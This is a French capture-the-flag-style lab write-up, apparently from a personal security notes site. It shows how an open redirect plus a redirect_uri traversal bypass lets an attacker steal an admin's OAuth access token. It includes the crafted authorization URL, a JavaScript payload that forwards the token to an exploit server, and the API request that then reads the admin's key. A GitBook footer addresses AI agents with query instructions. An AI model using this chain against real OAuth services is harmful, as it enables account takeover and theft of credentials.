> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# Vol de jeton OAuth via une redirection ouverte

### Vol de jetons d'accès OAuth via une redirection ouverte

**Objectif du labo**

Ce laboratoire utilise une validation incorrecte du `redirect_uri` paramètre par le service OAuth. / L'objectif est d'utiliser une redirection ouverte présente dans l'application cliente pour **exfiltrer le jeton d'accès OAuth de l'utilisateur admin** puis l'utiliser pour récupérer sa clé API.

> Il n'est pas possible d'obtenir la clé API de l'administrateur simplement en se connectant à son compte via l'application cliente.

**Identification de la redirection ouverte**

Une redirection ouverte est présente dans la fonctionnalité de navigation entre les articles de blog :

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="/files/cc9d42f69fcfa332d3fc8eed587a23b820ec1446" alt=""><figcaption></figcaption></figure>

En remplaçant le `path` paramètre par une URL externe, la redirection est acceptée :

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

Le navigateur est redirigé, ce qui confirme la vulnérabilité.

<figure><img src="/files/d3e94c45c5cecac034df9da5aea4f386bfaa84be" alt=""><figcaption></figcaption></figure>

**Analyse du flux OAuth**

Lors de l'authentification via OAuth, la requête suivante est observée :

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/1e334a22e7b44086e8e173d0825398451ec14c22" alt=""><figcaption></figcaption></figure>

Le service OAuth rejette une URL entièrement externe `redirect_uri`, mais accepte une URL interne modifiée avec une traversée de répertoires.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="/files/d74b13a603600dcf0389f5720e888cf91a27d5de" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Contournement de la validation**

En utilisant `../` pour sortir du `/OAuth-callback` chemin, il est possible de chaîner la redirection ouverte :

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/30d09b25d5f5a37c16b11f5156fdf8370d94f1ba" alt=""><figcaption></figcaption></figure>

Cette URL est acceptée comme `redirect_uri` par le fournisseur OAuth.

**Construction d'une URL OAuth malveillante**

L'URL finale envoyée à la victime est :

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Problème de fragment (`#`)**

Le fragment d'URL est **jamais envoyé au serveur** lors d'une requête HTTP.<br>

<figure><img src="/files/44fdd3f9b74b635c3b9793da05ede7020f612513" alt=""><figcaption></figcaption></figure>

Du JavaScript côté client est nécessaire pour capturer le jeton.

<figure><img src="/files/3ef1ba0e18b8473720326ed3e47ed84577ebf0b2" alt=""><figcaption></figcaption></figure>

**Capture du jeton avec JavaScript**

Le script suivant est hébergé sur le serveur d'exploitation et envoyé à l'administrateur :

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="/files/dce886cbcd761b424200dd291328715374965679" alt=""><figcaption></figcaption></figure>

* Si aucun fragment n'est présent, la victime est redirigée vers OAuth.
* Si le fragment existe, le jeton est transmis au serveur via la chaîne de requête.

<figure><img src="/files/d3381f541b0f6b72954507c2286b0e2b5e4358fd" alt=""><figcaption></figcaption></figure>

**Exploitation du jeton OAuth**

Le jeton volé vous permet d'interroger le `/me` point de terminaison du fournisseur OAuth :

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="/files/64d33b785f1039bce91fc7c2fa063f804b5571de" alt=""><figcaption></figcaption></figure>

La réponse contient les informations du compte administrateur, y compris la clé API :

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrateur",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="/files/c334a873869618ddef95c46c7ea644968a5d0674" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
